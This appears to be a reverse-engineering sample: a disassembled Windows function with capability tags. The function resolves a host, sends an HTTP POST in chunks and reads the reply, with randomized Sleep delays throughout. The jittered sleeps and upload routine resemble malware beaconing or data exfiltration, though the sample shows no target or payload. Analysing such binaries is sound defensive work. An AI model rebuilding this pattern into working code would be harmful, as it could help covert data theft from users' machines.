Function at 0x401345
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x312f4
call fcn.00407940
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call edi
push 0xa
xor edx, edx
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call esi
lea eax, [ebp - 0x5b4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 1
call esi
push 1
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
xor ebx, ebx
push 0x10
lea eax, [ebp - 0x24]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x14]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov word [ebp - 0x24], 2
mov dword [ebp - 0x20], ebx
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40145d
push 0x50
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [ebp - 4]
push ebx
push 1
mov eax, dword [eax + 0xc]
push 2
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x40145d
lea ecx, [ebp - 0x24]
push 0x10
push ecx
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x401440
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
jmp 0x40145d
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401465
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x40170e
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x424]
push 0x40bd84
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x20]
lea eax, [ebp - 0x424]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push 0x40b140
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0x14]
lea eax, [ebp - 0x424]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push str._HTTP
push eax
call sub.MSVCRT.dll_strcat
push ebx
call dword [sym.imp.MSVCRT.dll_time]
add esp, 0x2c
cdq
push 0x3c
pop ecx
idiv ecx
push edx
call esi
lea eax, [ebp - 0x424]
push str._1.0_r_nHost:
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 8]
lea eax, [ebp - 0x424]
push eax
call sub.MSVCRT.dll_strcat
mov ebx, str._r_nCont
lea eax, [ebp - 0x424]
push ebx
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push 0x40b11c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push str._type:
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push str._applicati
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x30
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x424]
push str.on_x_ww
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push str.w_form_
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
push 1
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x424]
push str.urlencoded_r_nConnec
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push str.tion:_close
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push ebx
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x424]
push str.ent_Length:
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x424]
push str._s_ld_r_n_r_n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x424]
push 0
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push eax
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 4]
call ebx
test eax, eax
jle 0x40165f
xor eax, eax
cmp dword [ebp + 0x10], eax
mov dword [ebp + 8], eax
jbe 0x40165f
jmp 0x40162d
mov eax, dword [ebp + 8]
lea edx, [eax + 0x2800]
mov ecx, 0x2800
cmp edx, dword [ebp + 0x10]
jbe 0x401642
mov ecx, dword [ebp + 0x10]
sub ecx, eax
push 0
push ecx
mov ecx, dword [ebp + 0xc]
add eax, ecx
push eax
push dword [ebp - 4]
call ebx
add dword [ebp + 8], eax
test eax, eax
jle 0x40165f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x10]
jb 0x40162a
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
xor ebx, ebx
push 0x30d40
lea eax, [ebp - 0x312f4]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0x18], ebx
je 0x401690
mov eax, dword [ebp + 0x1c]
cmp eax, ebx
je 0x401690
mov dword [eax], ebx
lea eax, [ebp - 0x312f4]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x10], eax
lea eax, [ebp - 0x312f4]
push 0x400
push eax
push dword [ebp - 4]
call ebx
test eax, eax
jle 0x4016d6
add dword [ebp + 0x10], eax
cmp dword [ebp + 0x18], 0
je 0x4016c7
mov ecx, dword [ebp + 0x1c]
test ecx, ecx
je 0x4016c7
add dword [ecx], eax
push 0
push 0x400
push dword [ebp + 0x10]
push dword [ebp - 4]
jmp 0x4016af
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [ebp + 0x18], 0
je 0x40170c
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x40170c
push dword [eax]
lea eax, [ebp - 0x312f4]
push eax
push dword [ebp + 0x18]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret